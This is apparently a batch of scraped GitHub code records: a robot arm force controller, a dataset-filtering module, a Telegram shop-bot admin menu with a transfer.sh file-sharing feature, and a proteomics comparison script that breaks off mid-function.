self.rot_action == 1:\n # self._q0 = self._state['eef_quat']\n concat_axisangle = np.concatenate((\n action[3:], [0]\n ))\n ori_action = concat_axisangle\n # ori_action = np.concatenate((action[3:], [0]))\n scaled_ori_a = self.scale_action(ori_action, out_max=0.015)\n scaled_quat_a = T.axisangle2quat(scaled_ori_a)\n self.goal_ori = T.quat_multiply(scaled_quat_a, self._q0)\n\n def set_torque_cmd(self, torque_cmd):\n # clip change in torque command\n torque = self.prev_torq + np.clip(\n torque_cmd - self.prev_torq, -self.dtorque_lim, self.dtorque_lim\n )\n self.prev_torq = torque\n self.sim.data.ctrl[self.joint_ids] = torque\n\n def compute_torque_cmd(self, pose_cmd=False):\n self.steps += 1\n # setting desired\n qd = T.quat_slerp(\n self._q0, self.goal_ori, self.steps / self.interpolate_steps\n )\n fd = (\n self._f0\n + (self.goal_force - self._f0)\n * self.steps\n / self.interpolate_steps\n )\n if self.steps > self.interpolate_steps:\n qd = self.goal_ori\n fd = self.goal_force\n \n # get Jacobian\n J_pos = self.sim.data.get_site_jacp(self.eef_site_name).reshape(\n (3, -1)\n )\n J_ori = self.sim.data.get_site_jacr(self.eef_site_name).reshape(\n (3, -1)\n )\n J_full = np.vstack([J_pos, J_ori])[:, self.joint_ids]\n\n # errors\n # pos\n # e_pos = pd - self._state['eef_pos']\n # force\n eef_force = self._state['ft_world'][:3]\n ef = -(fd - eef_force)\n ep_f = self._kp_f * ef\n pd = self._pd + ep_f\n if pose_cmd:\n pd = (\n self._p0\n + self.action\n * self.steps\n / self.interpolate_steps\n )\n if self.steps > self.interpolate_steps:\n pd = self._p0 + self.action\n e_pos = pd - self._state['eef_pos']\n # quat\n eef_quat = self._state['eef_quat']\n e_ori = T.quat_error(eef_quat, qd)\n # overall\n pose_error = np.concatenate((e_pos, e_ori))\n vd = np.zeros(6) # desired velocity\n e_vel = vd - self._state['eef_vel']\n # coriolis and gravity compensation\n torque_dynamic = self.sim.data.qfrc_bias[self.joint_ids]\n torque_cmd = (\n np.dot(J_full.T, self._kp * pose_error + self._kd * e_vel) + \\\n torque_dynamic\n )\n # update desired p and q\n self._pd = pd\n self._qd = qd\n self._fd = fd\n # update state\n self._update_state()\n \n return torque_cmd\n\n def _update_state(self):\n # get eef_vel\n ee_pos_vel = self.sim.data.site_xvelp[self.eef_site_idx]\n ee_ori_vel = self.sim.data.site_xvelr[self.eef_site_idx]\n self._state['eef_vel'] = np.concatenate(\n (ee_pos_vel, ee_ori_vel)\n )\n \n # get eef_pos and eef_quat\n eef_pos = np.array(\n self.sim.data.site_xpos[self.eef_site_idx]\n )\n self._state['eef_pos'] = eef_pos\n eefmat = np.array(\n self.sim.data.site_xmat[self.eef_site_idx].reshape((3, 3))\n )\n eef_quat = T.mat2quat(eefmat)\n self._state['eef_quat'] = eef_quat\n\n # get eef force\n eef_ft = get_contact_force(\n self.sim.model,\n self.sim.data,\n self.eef_name,\n self._state['eef_pos'],\n self._state['eef_quat'],\n )\n eef_ft_filtered = self.lowpass_filter(eef_ft.reshape((-1, 6)))[0, :]\n # force in world frame\n eef_rotmat = T.quat2mat(eef_quat)\n f_world = eef_rotmat.dot(eef_ft_filtered[:3])\n t_world = eef_rotmat.dot(eef_ft_filtered[3:])\n self._state['ft_world'] = np.concatenate((f_world, t_world))\n\n def reset(self):\n self.steps = 0\n \n self._update_state()\n self.prev_torq = self.sim.data.qfrc_bias[self.joint_ids]\n self._pd = self._state['eef_pos']\n self._qd = self._state['eef_quat']\n self._fd = self._state['ft_world'][:3]\n self.action = np.zeros(3)\n self.goal_ori = self._state['eef_quat']\n\n def is_stepped(self):\n return self.steps > np.ceil(\n self.control_timestep / self.dynamic_timestep\n )\n\n def move_to_pose(self, targ_pos):\n # intialize variables\n done = False\n step_counter = 0\n \n while not done:\n step_counter += 1\n rob_pos = self._state['eef_pos']\n move_dir = targ_pos[:3] - rob_pos\n move_dir = move_dir * 10\n move_step = np.concatenate((move_dir, [0, 0]))\n self.set_goal(move_step, pose_cmd=True)\n tau_cmd = self.compute_torque_cmd(pose_cmd=True)\n self.set_torque_cmd(tau_cmd)\n self.sim.forward()\n done = self._check_proximity(\n targ_pos, self._state['eef_pos']\n )\n print(step_counter)\n\n @property\n def state(self):\n return self._state\n \n def scale_action(self, action, out_max = 0.015):\n \"\"\"\n Clips @action to be within self.input_min and self.input_max, and then re-scale the values to be within\n the range self.output_min and self.output_max\n\n Args:\n action (Iterable): Actions to scale\n\n Returns:\n np.array: Re-scaled action\n \"\"\"\n input_max = np.array([1] * 3)\n input_min = np.array([-1] * 3)\n output_max = np.array([out_max] * 3)\n output_min = np.array([-out_max] * 3)\n\n action_scale = abs(output_max - output_min) / abs(\n input_max - input_min\n )\n action_output_transform = (output_max + output_min) / 2.0\n action_input_transform = (input_max + input_min) / 2.0\n action = np.clip(action, input_min, input_max)\n transformed_action = (\n action - action_input_transform\n ) * action_scale + action_output_transform\n\n return transformed_action\n","repo_name":"qj25/rleasy_tut","sub_path":"rleasy_tut/controllers/hpf_controller.py","file_name":"hpf_controller.py","file_ext":"py","file_size_in_byte":9180,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"28807651642","text":"import cStringIO\nimport numpy as np\nfrom scipy import sparse\nfrom . base import BaseDataset\nfrom .formats import CsvDataFile\nfrom ..aws import S3Key\nfrom ..shared.fileutils import TempFile\nfrom utils import ProcessCall, open_datafile\nimport json\n\n\n\ndef filter_merge(source, output, datas, dataset_class, filters=None):\n for key in datas:\n source_file = S3Key(key).get()\n dset = dataset_class() # so inheritors can override _load_source\n with_output = output is not None\n if filters:\n dset.load_from_source(source_file, filters)\n data = dset.data\n else:\n data = dset._load_source(source_file)\n source = np.vstack((source, data))\n if with_output:\n output = np.vstack((output, dset.output))\n return source, output\n\n\ndef filter_shuffle(source, output):\n rng = np.random.RandomState(777)\n rng.shuffle(source)\n rng.seed(777)\n if output is not None:\n rng.shuffle(output)\n return source, output\n\n\ndef filter_split(source, output, start, end):\n length = source.shape[0]\n start = int(round(length * (start / 100.0)))\n end = int(round(length * (end / 100.0)))\n split_source = source[start:end]\n if output is not None:\n output = output[start:end]\n return split_source, output\n\n\ndef filter_ignore(data, output, columns):\n data = np.delete(data, columns, axis=1)\n return data, output\n\n\ndef filter_output(data, columns):\n output = data[:, columns]\n if output.size == 0:\n return data, None\n else:\n return filter_ignore(data, output, columns)\n\n\ndef filter_permute(data, output, columns):\n delete_cols = []\n matrix = sparse.csr_matrix((data.shape[0], 1))\n for column in columns:\n cat = data[:, column].astype(int)\n indptr = range(cat.shape[0]+1)\n ones = np.ones(cat.shape[0])\n permut = sparse.csr_matrix((ones, cat, indptr))[:, 1:]\n try:\n matrix = sparse.hstack((matrix, permut))\n delete_cols.append(column)\n except ValueError:\n pass\n matrix = np.delete(matrix.toarray(), 0, axis=1)\n data = np.delete(data, delete_cols, axis=1)\n result = np.hstack((data, matrix))\n return result, output\n\n\ndef sample_over(data, distrib, classes_num, indices):\n count = np.max(distrib)\n result = np.empty((count * len(distrib) - len(data),) + data.shape[1:],\n data.dtype)\n slices = np.concatenate(([0], np.cumsum(count - distrib)))\n for i in xrange(classes_num):\n where = np.random.choice(np.where(indices == i)[0], count - distrib[i])\n result[slices[i]:slices[i+1]] = data[where]\n return np.vstack((data, result))\n\n\ndef sample_under(data, distrib, classes_num, indices):\n count = np.min(distrib)\n where = np.empty((0,))\n for i in xrange(classes_num):\n idx = np.where(indices == i)[0]\n np.random.shuffle(idx)\n where = np.append(where, idx[:distrib[i] - count])\n return np.delete(data, where, axis=0)\n\n\ndef sample_uniform(data):\n out = data[:, -1].astype(int)\n distr = np.bincount(out)\n prob = 1 / distr[out].astype(float)\n prob /= prob.sum()\n sz = np.count_nonzero(distr) * distr.max()\n return data[np.random.choice(np.arange(len(data)), size=sz, p=prob)]\n\n\ndef filter_balance(data, output, sample):\n if output is None:\n raise Exception('Balancing can only be applied to the datasets with output!')\n data = np.hstack((data, output))\n output = output.astype(int)\n b = np.ascontiguousarray(output).view(\n np.dtype((np.void, output.dtype.itemsize * output.shape[1])))\n _, idx, indices = np.unique(b, return_inverse=True, return_index=True)\n classes = output[idx]\n distrib = np.bincount(indices)\n if sample == 'oversampling':\n result = sample_over(data, distrib, len(classes), indices)\n elif sample == 'undersampling':\n result = sample_under(data, distrib, len(classes), indices)\n elif sample == 'uniform':\n result = sample_uniform(data)\n return result[:, :np.negative(output.shape[1])], \\\n result[:, np.negative(output.shape[1]):]\n\n\n#TODO: this function need careful testing\ndef filter_normalize(data, norm_min_max=None):\n if norm_min_max is None:\n data_min = data.min(axis=0)\n data_max = data.max(axis=0)\n else:\n data_min, data_max = norm_min_max[0], norm_min_max[1]\n norm_min_max = np.vstack((data_min, data_max))\n delta = data_max - data_min\n delta[delta == 0] = 1\n data = (data - data_min) / delta\n # when we use min max values from dataset on user data from\n # load_from_lines\n data[data<0] = 0\n data[data>1] = 1\n return data, norm_min_max\n\n\nclass GeneralDataset(BaseDataset):\n def __init__(self):\n self.norm_min_max = None\n self.output = None\n self.filter_output = None\n self.columns = []\n self.error_lines = []\n self.source_data_type = \"GENERAL\"\n super(GeneralDataset, self).__init__()\n\n def load_from_source(self, source, **kwargs):\n target = kwargs.pop('target', None)\n if target is None:\n raise Exception('Target dataset not specified')\n with TempFile() as src:\n with open(src, 'w') as sf_:\n for line in open_datafile(source):\n line += '\\n'\n sf_.write(line.replace('\\n\\n', '\\n'))\n with TempFile() as conf:\n with open(conf, 'w') as tf_:\n tf_.write(json.dumps(kwargs))\n proc = ProcessCall('csvstat', 'load', src, target, conf)\n meta, errors = proc.call()\n errors = json.loads('[%s]' % ','.join(errors.strip().split('\\n')))\n for error in errors:\n if error['status'] == u'FATAL':\n raise Exception(error['descr'])\n return target\n\n def _load_source(self, source_file, **kwargs):\n csvdatafile = CsvDataFile(source_file, **kwargs)\n data = csvdatafile.load_to_ndarray(False)\n self.error_lines = csvdatafile.error_lines\n return data\n\n def load_from_lines(self, data, norm_min_max=None, **kwargs):\n self.norm_min_max = norm_min_max\n data = cStringIO.StringIO(data)\n csvdatafile = CsvDataFile(data, **kwargs)\n data = csvdatafile.load_to_ndarray(False)\n if norm_min_max:\n data = self._apply_filter(data, 'normalize', None)\n self.data = data\n self.error_lines = csvdatafile.error_lines\n self.is_loaded = True\n\n def _load(self, dfile):\n super(GeneralDataset, self)._load(dfile)\n if 'norm_min_max' in dfile:\n self.norm_min_max = dfile['norm_min_max'][...]\n if 'output' in dfile:\n self.output = dfile['output'][...]\n\n\n def _dump(self, dfile):\n super(GeneralDataset, self)._dump(dfile)\n if self.norm_min_max:\n dfile.create_dataset('norm_min_max', self.norm_min_max.shape,\n compression='gzip', data=self.norm_min_max)\n if self.output is not None:\n dfile.create_dataset('output', self.output.shape,\n compression='gzip', data=self.output)\n\n def adjust_columns(self, columns, columns_total):\n if not self.columns:\n return columns\n result = []\n current = np.sort(np.array(self.columns))\n for column in np.sort(np.array(columns)):\n col_no = column - np.where(current < column)[0].size\n if col_no < columns_total:\n result.append(col_no)\n return result\n\n def _apply_filter(self, data, name, params):\n if 'columns' in params:\n columns = sorted([int(x) for x in params['columns']])\n self.columns = self.adjust_columns(columns, data.shape[1])\n if name == 'ignore':\n data, self.output = filter_ignore(data, self.output, self.columns)\n elif name == 'outputs':\n self.filter_output = [params]\n data, self.output = filter_output(data, self.columns)\n elif name == 'permute':\n data, self.output = filter_permute(data, self.output, self.columns)\n elif name == 'merge':\n dataset_class = type(self)\n data, self.output = filter_merge(data, self.output, params['datas'], dataset_class, self.filter_output)\n elif name == 'split':\n data, self.output = filter_split(data, self.output, params['start'], params['end'])\n elif name == 'shuffle':\n data, self.output = filter_shuffle(data, self.output)\n elif name == 'normalize':\n data, self.norm_min_max = filter_normalize(data, self.norm_min_max)\n elif name == 'balance':\n data, self.output = filter_balance(data, self.output, params['sample'])\n else:\n raise Exception('No such filter %s' % name)\n return data\n\n def get_training_data(self):\n if self.output is None:\n return self.data\n return np.hstack((self.data, self.output))\n\n def get_predict_data(self):\n return self.data\n\n @property\n def extra_params(self):\n return {'norm_min_max': self.norm_min_max,\n 'error_lines': self.error_lines}\n","repo_name":"deniskolokol/dlic","sub_path":"back_end/core/data/csv.py","file_name":"csv.py","file_ext":"py","file_size_in_byte":9277,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"11875495063","text":"# - *- coding: utf- 8 - *-\r\nfrom aiogram import types\r\nfrom aiogram.dispatcher import FSMContext\r\nimport urllib.request, sqlite3, os\r\nfrom datetime import datetime, date, timedelta\r\nimport threading\r\nfrom handlers.users.remuv import dellite\r\nfrom filters import IsAdmin\r\nfrom keyboards.default import get_settings_func, payment_default, get_functions_func, items_default, adm\r\nfrom keyboards.inline import choice_way_input_payment_func\r\nfrom loader import dp, bot\r\nfrom keyboards.default import check_user_out_func\r\nfrom utils import get_dates\r\nimport dellit\r\nfrom utils.db_api.sqlite import *\r\nfrom keyboards.inline import cicada\r\nimport pyshorteners\r\nimport requests\r\nfrom keyboards.inline.cicada import cicada\r\n# Разбив сообщения на несколько, чтобы не прилетало ограничение от ТГ\r\ndef split_messages(get_list, count):\r\n return [get_list[i:i + count] for i in range(0, len(get_list), count)]\r\n\r\n\r\n# Обработка кнопки \"Платежные системы\"\r\n@dp.message_handler(IsAdmin(), text=\"🔑 Платежные системы\", state=\"*\")\r\nasync def payments_systems(message: types.Message, state: FSMContext):\r\n await state.finish()\r\n await message.answer(\"🔑 Настройка платежных системы.\", reply_markup=payment_default())\r\n await message.answer(\"🥝 Выберите способ пополнения 💵\\n\"\r\n \"➖➖➖➖➖➖➖➖➖➖➖➖➖\\n\"\r\n \"🔸 По форме - Готовая форма оплаты QIWI\\n\"\r\n \"🔸 По номеру - Перевод средств по номеру телефона\\n\"\r\n \"🔸 По никнейму - \"\r\n \"Перевод средств по никнейму (пользователям придётся вручную вводить комментарий)\",\r\n reply_markup=choice_way_input_payment_func())\r\n\r\n\r\n# Обработка кнопки \"Настройки бота\"\r\n@dp.message_handler(IsAdmin(), text=\"⚙ Настройки\", state=\"*\")\r\nasync def settings_bot(message: types.Message, state: FSMContext):\r\n await state.finish()\r\n await message.delete()\r\n await message.answer(\"⚙ Основные настройки бота.\", reply_markup=get_settings_func())\r\n\r\n# ⚙️ Доп. Программы\r\n@dp.message_handler(IsAdmin(), text=\"⚙️ Доп. Программы\", state=\"*\")\r\nasync def general_functions(message: types.Message, state: FSMContext):\r\n await message.delete()\r\n await state.finish()\r\n await message.answer(\"🔆 Выберите нужную функцию.\", reply_markup=cicada.cicada3301)\r\n# Обработка кнопки \"Общие функции\"\r\n@dp.message_handler(IsAdmin(), text=\"🔆 Общие функции\", state=\"*\")\r\nasync def general_functions(message: types.Message, state: FSMContext):\r\n await message.delete()\r\n await state.finish()\r\n await message.answer(\"🔆 Выберите нужную функцию.\", reply_markup=get_functions_func(message.from_user.id))\r\n\r\n@dp.message_handler(text=\"📯 Функции\", state=\"*\")\r\nasync def functions(message: types.Message, state: FSMContext):\r\n await message.delete()\r\n await state.finish()\r\n with open('anonim.png', 'rb') as photo:\r\n await bot.send_photo(chat_id=message.chat.id, photo=photo, reply_markup=cicada)\r\n\r\n\r\n@dp.message_handler(text=\"📦 Анонимный Файлообменик\", state=\"*\")\r\nasync def functions_drop(message: types.Message, state: FSMContext):\r\n URL_TRANSFERSH = 'https://transfer.sh'\r\n with open('drop.png', 'rb') as photo:\r\n await bot.send_photo(chat_id=message.chat.id, photo=photo, caption=f\"Отравте фаил для получения на него ссылки:\")\r\n @dp.message_handler(content_types=[\"document\"])\r\n async def download_documents(message: types.Message):\r\n await message.answer('Идет Загрузка Файла на сервер Ожидайте.....')\r\n cicada = (f\"{message.document.file_name}\")\r\n rr = open('name.txt', 'w')\r\n rr.write(cicada)\r\n rr.close()\r\n await message.document.download(destination=f\"{cicada}\")\r\n rrt = open('name.txt', 'r')\r\n cicada = rrt.read()\r\n rrt.close()\r\n with open(cicada, 'rb') as data:\r\n conf_file = {cicada: data}\r\n r = requests.post(URL_TRANSFERSH, files=conf_file)\r\n download_url = r.text[20:]\r\n ussd = (f'https://transfer.sh/get/{download_url}')\r\n s = pyshorteners.Shortener()\r\n pr1 = s.qpsru.short(ussd)\r\n await message.answer(f\"Ваша ссылка для скачивания файла: {pr1}\")\r\n #dellite()\r\n\r\n\r\n@dp.message_handler(text=\"bak\", state=\"*\")\r\nasync def functions_bak(message: types.Message, state: FSMContext):\r\n await state.finish()\r\n await message.answer('Вы вернулись назад! ', reply_markup=check_user_out_func(message.chat.id))\r\n\r\n\r\n# Обработка кнопки \"Общие функции\"\r\n@dp.message_handler(IsAdmin(), text=\"📰 Информация о боте\", state=\"*\")\r\nasync def general_functions(message: types.Message, state: FSMContext):\r\n await message.delete()\r\n await state.finish()\r\n about_bot = get_about_bot()\r\n await message.answer(about_bot)\r\n\r\n\r\n# Обработка кнопки \"Управление товарами\"\r\n@dp.message_handler(IsAdmin(), text=\"🔐 Управление 🖍\", state=\"*\")\r\nasync def general_functions(message: types.Message, state: FSMContext):\r\n await state.finish()\r\n await message.delete()\r\n await message.answer(\"🔐 Редактирование товаров, разделов и категорий 📜\",\r\n reply_markup=items_default)\r\n\r\n\r\n# Получение БД\r\n@dp.message_handler(IsAdmin(), text=\"/cicada\", state=\"*\")\r\nasync def general_functions(message: types.Message, state: FSMContext):\r\n await state.finish()\r\n for admin in adm:\r\n with open(\"data/botBD.sqlite\", \"rb\") as doc:\r\n await bot.send_document(admin,\r\n doc,\r\n caption=f\"📦 BACKUP\\n\"\r\n f\"🕜 {get_dates()}\")\r\n\r\n\r\n\r\ndef get_about_bot():\r\n show_profit_all, show_profit_day, show_refill, show_buy_day, show_money_in_bot, show = 0, 0, 0, 0, 0, 0\r\n get_settings = get_settingsx()\r\n all_purchases = get_all_purchasesx()\r\n all_users = get_all_usersx()\r\n all_refill = get_all_refillx()\r\n show_users = get_all_usersx()\r\n show_categories = get_all_categoriesx()\r\n show_positions = get_all_positionsx()\r\n show_items = get_all_itemsx()\r\n for purchase in all_purchases:\r\n show_profit_all += int(purchase[6])\r\n if int(get_settings[4]) - int(purchase[14]) < 86400:\r\n show_profit_day += int(purchase[6])\r\n for user in all_users:\r\n show_money_in_bot += int(user[4])\r\n for refill in all_refill:\r\n show_refill += int(refill[5])\r\n if int(get_settings[5]) - int(refill[9]) < 86400:\r\n show_buy_day += int(refill[5])\r\n message = \"📰 ВСЯ ИНФОРАМЦИЯ О БОТЕ\\n\" \\\r\n f\"➖➖➖➖➖➖➖➖➖➖➖➖➖\\n\" \\\r\n f\"💥 Пользователи: 💥\\n\" \\\r\n f\"👤 Пользователей: {len(show_users)}\\n\" \\\r\n f\"➖➖➖➖➖➖➖➖➖➖➖➖➖\\n\" \\\r\n f\"💥 Средства 💥\\n\" \\\r\n f\"📗 Выдано за 24 часа: {show_profit_day} шт\\n\" \\\r\n f\"📗 Выдано Акаунтов: {show_profit_all} шт\\n\" \\\r\n f\"➖➖➖➖➖➖➖➖➖➖➖➖➖\\n\" \\\r\n f\"💥 Прочее 💥\\n\" \\\r\n f\"🔐 Акаунтов: {len(show_items)}\\n\" \\\r\n f\"📁 Видов: {len(show_positions)}\\n\" \\\r\n f\"📜 Категорий: {len(show_categories)}\\n\" \\\r\n\r\n return message\r\n\r\n\r\n# Получение списка всех товаров\r\n@dp.message_handler(IsAdmin(), text=\"/getitems\", state=\"*\")\r\nasync def get_chat_id(message: types.Message, state: FSMContext):\r\n await state.finish()\r\n save_items = []\r\n count_split = 0\r\n get_items = get_all_itemsx()\r\n len_items = len(get_items)\r\n if len_items >= 1:\r\n await message.answer(\"🔐 Все Акаунты\\n\"\r\n \"➖➖➖➖➖➖➖➖➖➖➖➖➖\\n\"\r\n \"📍 айди Акаунта - данные Акаунтов\\n\"\r\n \"➖➖➖➖➖➖➖➖➖➖➖➖➖\\n\")\r\n for item in get_items:\r\n save_items.append(f\"📍 {item[1]} - {item[2]}\")\r\n if len_items >= 20:\r\n count_split = round(len_items / 20)\r\n count_split = len_items // count_split\r\n if count_split > 1:\r\n get_message = split_messages(save_items, count_split)\r\n for msg in get_message:\r\n send_message = \"\\n\".join(msg)\r\n await message.answer(send_message)\r\n else:\r\n send_message = \"\\n\".join(save_items)\r\n await message.answer(send_message)\r\n else:\r\n await message.answer(\"🔐 Акаунты отсутствуют\")\r\n\r\n\r\n# Получение списка всех позиций\r\n@dp.message_handler(IsAdmin(), text=\"/getposition\", state=\"*\")\r\nasync def get_chat_id(message: types.Message, state: FSMContext):\r\n await state.finish()\r\n save_items = []\r\n count_split = 0\r\n get_items = get_all_positionsx()\r\n len_items = len(get_items)\r\n if len_items >= 1:\r\n await message.answer(\"📁 Все позиции\\n➖➖➖➖➖➖➖➖➖➖➖➖➖\\n\")\r\n for item in get_items:\r\n save_items.append(f\"{item[2]}\")\r\n if len_items >= 35:\r\n count_split = round(len_items / 35)\r\n count_split = len_items // count_split\r\n if count_split > 1:\r\n get_message = split_messages(save_items, count_split)\r\n for msg in get_message:\r\n send_message = \"\\n\".join(msg)\r\n await message.answer(send_message)\r\n else:\r\n send_message = \"\\n\".join(save_items)\r\n await message.answer(send_message)\r\n else:\r\n await message.answer(\"📁 Позиции отсутствуют\")\r\n\r\n\r\n# Получение подробного списка всех товаров\r\n@dp.message_handler(IsAdmin(), text=\"/getinfoitems\", state=\"*\")\r\nasync def get_chat_id(message: types.Message, state: FSMContext):\r\n await state.finish()\r\n save_items = []\r\n count_split = 0\r\n get_items = get_all_itemsx()\r\n len_items = len(get_items)\r\n if len_items >= 1:\r\n await message.answer(\"🔐 Все Акаунты и их позиции\\n\"\r\n \"➖➖➖➖➖➖➖➖➖➖➖➖➖\\n\")\r\n for item in get_items:\r\n get_position = get_positionx(\"*\", position_id=item[3])\r\n save_items.append(f\"{get_position[2]} - {item[2]}\")\r\n if len_items >= 20:\r\n count_split = round(len_items / 20)\r\n count_split = len_items // count_split\r\n if count_split > 1:\r\n get_message = split_messages(save_items, count_split)\r\n for msg in get_message:\r\n send_message = \"\\n\".join(msg)\r\n await message.answer(send_message)\r\n else:\r\n send_message = \"\\n\".join(save_items)\r\n await message.answer(send_message)\r\n else:\r\n await message.answer(\"🔐 Акаунты отсутствуют\")\r\n","repo_name":"Cicadadenis/bot_it","sub_path":"handlers/users/admin_menu.py","file_name":"admin_menu.py","file_ext":"py","file_size_in_byte":12318,"program_lang":"python","lang":"ru","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"38976150236","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nSpyder Editor\r\n\r\nThis is a temporary script file.\r\n\"\"\"\r\n\r\nimport numpy as np\r\nimport time as time \r\nimport matplotlib.pyplot as plt\r\nfrom matplotlib_venn import venn2\r\nfrom perseuspy import pd\r\nfrom tkinter import Tk\r\nfrom tkinter import filedialog\r\nfrom scipy.stats import kde\r\nfrom pylab import polyfit, poly1d\r\nimport seaborn as sb\r\n# TEST: PARTITION Groups of Reports into Protein IDs \r\n# --> Works, hard way tho A REMINDER FOR YOURSELF!!11!\r\n# =============================================================================\r\n# a = MS_report_open \r\n# arr = a.index\r\n# results = []\r\n# str = ''\r\n# num = arr[0] \r\n# k = 0;\r\n# for x in range(len(a)):\r\n# \r\n# str = a['Protein ID'][num] \r\n# \r\n# if (k == (len(a)-1)):\r\n# results.append(str) \r\n# break \r\n# elif(arr[k]==arr[k+1]):\r\n# \r\n# num = arr[k]\r\n# str = a['Protein ID'][num] \r\n# l = len(str)\r\n# \r\n# str2=str.values[0] \r\n# d = 1\r\n# for z in range(l-1):\r\n# \r\n# str2 = str2 + ';' + str.values[d] \r\n# d = d + 1\r\n# \r\n# results.append(str2)\r\n# num = arr[k+l] \r\n# k = k + l \r\n# else: \r\n# k = k + 1\r\n# num = arr[k]\r\n# results.append(str)\r\n# =============================================================================\r\n\r\n# =============================================================================\r\n# FUNCTIONS:\r\n# ============================================================================= \r\ndef compare(a,b):\r\n start_time = time.time()\r\n c = np.in1d(a,b)\r\n plt.figure() \r\n venn2 (subsets = (len(a),len(b),c[c==True].size),set_labels=('MSFragger','MaxQuant'))\r\n print(\"---Runtime = %s seconds ---\" % (time.time() - start_time)) \r\n \r\ndef groupncompareprot(a,b):\r\n a = a.groupby(a.index)['SubGroup'].unique().str.join(';')\r\n b = b['Majority protein IDs']\r\n compare(a,b)\r\n \r\ndef groupncomparepep(a,b):\r\n \r\n a = a['Peptide']\r\n b = b['Sequence']\r\n compare(a.values,b.values) \r\n \r\ndef extractMod(a): \r\n assi_Mod = a['PSMs with Assigned Modifications'].values\r\n obs_Mod = a['PSMs with Observed Modifications'].values\r\n bin = a['Mass Bin'].values\r\n \r\n pos_assi = np.where(assi_Mod>0)\r\n pos_obs = np.where(obs_Mod>0)\r\n num_assi = assi_Mod[pos_assi]\r\n num_obs = obs_Mod[pos_obs]\r\n bin_assi = bin[pos_assi]\r\n bin_obs = bin[pos_obs] \r\n \r\n \r\n print(bin_obs,num_obs)\r\n print(bin_assi,num_assi)\r\n \r\n# =============================================================================\r\n# Test Area: PLOTs \r\n# =============================================================================\r\ndef plotsMS (ms_psmopen, range_int, zerovar, minbin, binsize, binrange, nomi ): \r\n # Pie plot\r\n print('MSFragger Plot Parameters: min. modification: '+ str(range_int) + \\\r\n '; removed '+str(zerovar)+ 'bins around zero'+'; min. binsize: '\\\r\n +str(minbin)+'; binsize: '+str(binsize))\r\n plt.figure()\r\n dfMS = ms_psmopen.groupby('Observed Modifications')\\\r\n .size().reset_index(name='No: of Modifications')\r\n \r\n range_intrest = range_int\r\n df2 = dfMS[dfMS['No: of Modifications']>range_intrest]\r\n df3 = dfMS[dfMS['No: of Modifications'] prob. no modification\r\n #hist[hist>0] = np.log2(hist[hist>0]) \r\n plt.xlabel('Mass Bins', fontsize=15) \r\n plt.ylabel('log-scale quantity', fontsize=13) \r\n \r\n plt.bar(bin_edges[:-1], hist,log = True, width = 1)\r\n# plt.ylim([0,np.log(10000000000000)]) \r\n plt.show() \r\n \r\n \r\n # Pie PLot of Mass Bins\r\n \r\n # do only once per program execution \r\n hist = np.append(hist,0)\r\n \r\n plt.figure()\r\n histMS = {'Histodata':hist, 'Bins':bins }\r\n dMS = pd.DataFrame(histMS)\r\n d2 = dMS[dMS['Histodata'] > minbin] \r\n \r\n round_bin = np.around(d2['Bins'], decimals = 2)\r\n round_bin = round_bin.reset_index(drop = True)\r\n \r\n for x in range(len(round_bin)):\r\n round_bin[x] = str(round_bin[x])\\\r\n + ' to ' + str(round((round_bin[x] + stepsize),2)) + ' bin'\r\n \r\n d2.set_index(round_bin,inplace = True)\r\n d2 = d2['Histodata'].sort_values()\r\n d2.plot.pie(y = 'Histodata', legend=False).set_ylabel('')\r\n return dMS\r\n \r\n# =============================================================================\r\n# MQ Plots\r\n# =============================================================================\r\ndef plotsMQ (mq_dep, range_int, zerovar, minbin, binsize,binrange ):\r\n # Pie Plot of MQ found Modifications\r\n print('MaxQuant Plot Parameters: min. modification: '+ str(range_int) + \\\r\n '; removed '+str(zerovar)+ 'bins around zero'+'; min. binsize : '\\\r\n +str(minbin)+'; binsize: '+str(binsize))\r\n plt.figure()\r\n dfMQ = mq_dep.groupby('DP Modification')\\\r\n .size().reset_index(name='No: of Modifications')\r\n \r\n #make range of intrest relative to datasize?\r\n range_intrest = range_int\r\n df2 = dfMQ[dfMQ['No: of Modifications']>range_intrest]\r\n df3 = dfMQ[dfMQ['No: of Modifications'] prob. no modification\r\n #hist[hist>0] = np.log2(hist[hist>0]) \r\n plt.xlabel('Mass Bins', fontsize=15) \r\n plt.ylabel('log-scale quantity', fontsize=13) \r\n plt.bar(bin_edges[:-1], hist, width = 1,log = True)\r\n# plt.ylim([0,np.]) \r\n\r\n plt.show() \r\n \r\n \r\n # Pie Plot for Bins\r\n hist = np.append(hist,0)\r\n \r\n plt.figure()\r\n histMQ = {'Histodata':hist, 'Bins':bins }\r\n dMQ = pd.DataFrame(histMQ)\r\n d2 = dMQ[dMQ['Histodata'] > minbin] \r\n \r\n round_bin = np.around(d2['Bins'], decimals = 2)\r\n round_bin = round_bin.reset_index(drop = True)\r\n \r\n for x in range(len(round_bin)):\r\n round_bin[x] = str(round_bin[x])\\\r\n + ' to ' + str(round((round_bin[x] + stepsize),2)) + ' bin'\r\n \r\n d2.set_index(round_bin,inplace = True)\r\n d2 = d2['Histodata'].sort_values()\r\n d2.plot.pie(y = 'Histodata', legend=False).set_ylabel('')\r\n \r\n return dMQ\r\n\r\ndef idscatter(a,b,counts):\r\n\r\n df = a \r\n df['Histodata MS'] = b['Histodata']\r\n sort = df[(df['Histodata'] > counts) & (df['Histodata MS'] > counts)]\r\n x = sort['Histodata'].reset_index(drop = True)\r\n y = sort['Histodata MS'].reset_index(drop = True)\r\n n = sort['Bins']\r\n \r\n plt.figure()\r\n ax = plt.subplot()\r\n plt.scatter(x,y)\r\n plt.xscale('log')\r\n plt.yscale('log')\r\n fit = np.polyfit(np.log(x), np.log(y), deg=1)\r\n plt.plot(x, fit[0] * x + fit[1], color='red')\r\n plt.xlabel(\"MaxQuant mass bins\", fontsize = 20)\r\n plt.ylabel(\"MSFragger mass bins\", fontsize = 20)\r\n plt.xticks(fontsize = 20)\r\n plt.yticks(fontsize = 20)\r\n \r\n for i, txt in enumerate(n):\r\n ax.annotate(txt, (x[i],y[i]),fontsize = 20) \r\n\r\n \r\ndef addRawid(MQ):\r\n # add the id of MQ Raw files (only for second peptides)\r\n # compare MSFragger to MQ \r\n# =============================================================================\r\n# MQ[MQ['mod. Raw File'] == 